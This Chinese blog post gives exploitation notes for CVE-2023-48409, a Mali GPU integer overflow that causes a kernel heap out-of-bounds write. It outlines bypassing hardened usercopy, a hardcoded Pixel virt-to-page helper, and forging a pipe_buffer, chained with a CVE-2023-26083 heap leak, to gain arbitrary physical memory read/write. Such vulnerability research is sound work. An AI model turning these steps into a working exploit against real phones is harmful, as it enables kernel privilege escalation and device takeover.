首页 > 其他分享 >CVE-2023-48409 Mali GPU 整数溢出导致堆越界写

CVE-2023-48409 Mali GPU 整数溢出导致堆越界写

时间:2024-03-19 11:02:14浏览次数:20  
标签:__ res 2023 unsigned long pipe 48409 Mali page

CVE-2023-48409 Mali GPU 整数溢出导致堆越界写

漏洞原语:假设分配的大小为 0x3004​, 会执行 copy_from_user(ptr-0x4000, from, 0x7004),导致越界写

由于 CONFIG_HARDENED_USERCOPY 如果 to 是 slab 中的地址,copy_from_user 会确保拷贝时不会跨越 slab 中的对象

static inline __must_check unsigned long
_copy_from_user(void *to, const void __user *from, unsigned long n)
{
	unsigned long res = n;
	might_fault();
	if (!should_fail_usercopy() && likely(access_ok(from, n))) {
		instrument_copy_from_user(to, from, n);
		res = raw_copy_from_user(to, from, n);
	}
	if (unlikely(res))
		memset(to + (n - res), 0, res);
	return res;
}

利用思路:分配大内存让 kmalloc 从 页分配器中申请内存,绕过 CONFIG_HARDENED_USERCOPY

漏洞对象:pipe_buffer

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

控制 page 指针做任意物理内存读写,而且 pixel 上 virt2page 直接可以写死,不像 x86 vmemap_base 是随机的(可能和物理地址随机化有关)

__u64 __virt_to_page(__u64 addr)
{
        return ((((__u64)(((signed long long)((__u64)(addr) << 8) >> 8) + \
                          0x8000000000LL) >> 6) & 0x3FFFFFFFFFFFFC0LL) + \
                0xFFFFFFFEFFE00000);
}

伪造思路:使用 CVE-2023-26083 泄露堆地址 kbase_kcpu_command_queue​ ,然后伪造结构体

struct pipe_buffer {
	.page = virt_to_page(addr),
	.offset =  0,
	.len = 0x40,
	.ops = kcpu_addr + 0x50,  // 伪造空的 ops
	.flags = PIPE_BUF_FLAG_CAN_MERGE,
	unsigned long private = 0
};

然后释放 kbase_kcpu_command_queue​ 用 pipe_buffer 占位,就能够用 pipe_buffer 修改另一个 pipe_buffer.

标签:__,res,2023,unsigned,long,pipe,48409,Mali,page
From: https://www.cnblogs.com/hac425/p/18082284/cve202348409-mali-gpu-integer-overflow-leads-to-

相关文章

  • 轻松搞定R语言“Warning:In normalizePath(path.expand(path), winslash, mustWork):文
    问题如下:初学R易语言在RStudio安装tidyverse包时,会出现如下警告;解决方法一:以Win11系统为例:1、右击此电脑,点击属性。2、点击高级设置。3、点击环境变量。4、新建用户变量。5、新建用户变量,设置变量名为R_User,变量值点览目录,选择RStudio安装目录,最后确定即可。6、......
  • B3856 [语言月赛 202309] 椰奶国
    题目背景扶苏的梦想是在椰奶国生活。这个国度的成员都是可爱的椰奶,椰奶们无需在意外面的世界,快乐地生活在椰奶国里。题目描述椰奶国的一天共有 n 个小时。第 i 个小时(0≤i<n)共有 i+1 分钟,第 i 个小时的第 j 分钟(0≤j≤i)共有 10j+1 秒。注意,这里小时、分钟、秒......
  • LY1165 [ 20230324 CQYC省选模拟赛 T3 ] 迷雾
    题意求有多少种长度为\(N\)的满足以下条件的序列。是一个\(1\simN\)的排列。至少进行\(K\)次操作后,该序列才含有一个元素。\(N\le1000\)Sol首先因为序列是一个排列,所以操作次数不会太多。操作次数大概在\(\logN\)的级别。不难注意到对于一个数列,剩下的只......
  • 2023 中国汽车、摩托车油耗排行(EV电耗,混动油耗..)
    纯电动车电耗排行榜https://www.xiaoxiongyouhao.com/page_rank_chexi_ev.php插混车能耗排行榜https://www.xiaoxiongyouhao.com/page_rank_chexi_phev.php中型轿车油耗排行榜https://www.xiaoxiongyouhao.com/report/2023/rank2023.php?subject=%E4%B8%AD%E5%9E%8B%E8%BD%BF%E......
  • IntelliJ IDEA 2023.3 最新发布啦!盘点精彩亮点(附带软件下载)
    IntelliJIDEA2023.3的发布标志着AIAssistant的持续发展,它现已超越技术预览阶段,并具有许多令人兴奋的改进。在其他领域,该版本包括对最新Java21功能的全面支持,引入了具有编辑操作的直观浮动工具栏,并添加了“运行到光标”嵌入选项以增强调试工作流程。IntelliJIDEAUltima......
  • 2023年蓝桥杯省赛——幸运数字
    目录题目链接:0幸运数字-蓝桥云课(lanqiao.cn)解法思路高级思路总结题目链接:0幸运数字-蓝桥云课(lanqiao.cn)解法首先是我写了差不多一个小时的解法,裂开了,为什么我如此废物思路        寻找第2023个在二进制、八进制、十进制和十六进制表示下都为哈......
  • 2023年蓝桥杯模拟省赛——列名
    目录题目链接:2.列名-蓝桥云课(lanqiao.cn)思路高级思路:进制转换难点一难点二难点三总结题目链接:2.列名-蓝桥云课(lanqiao.cn)思路先来看我的暴力的思路吧主要有以下步骤:初始化一个长度为3的数组res用于存放结果,并且定义一个变量 p 表示目前数组中的......
  • Lerp函数与自动normalized
    Lerp函数与自动normalized​ 在编写unity代码物体旋转的一个部分遇到了一个奇怪的问题:对tansform.forward使用lerp函数竟然不起作用?​ ​ 如果moveDir是(0,0,0),在游戏中角色不会旋转视角回原点(这里当时脑抽了,Vector3.zero也不是原点啊)。但奇怪的是,为什么即使Slerp函数(基本与......
  • 2023性能测试工作积累
    一 理论1、性能调优思路:性能瓶颈点分析、关键参数调整、sql调优。调优过程中,通过系统资源、吞吐量、负载等因素来辅助分析。性能调优流程: 确定调优范围:服务器CPU、内存、IO、网络是否已被充分利用,是否存在瓶颈点。 系统调优:目的是充分利用服务器资源,避免资源冲突,提升吞吐量......
  • 沃伦·巴菲特2023股东书(2024.2.24)-0-查理·芒格——伯克希尔·哈撒韦公司的建筑师
    2023letterhttps://www.berkshirehathaway.com/letters/2023ltr.pdf查理·芒格——伯克希尔·哈撒韦公司的建筑师查理·芒格于11月28日去世,距离他100岁生日仅33天。虽然在奥马哈出生和长大,但他一生中80%的时间都在其他地方定居。因此,直到1959年他35岁时,我才第一次......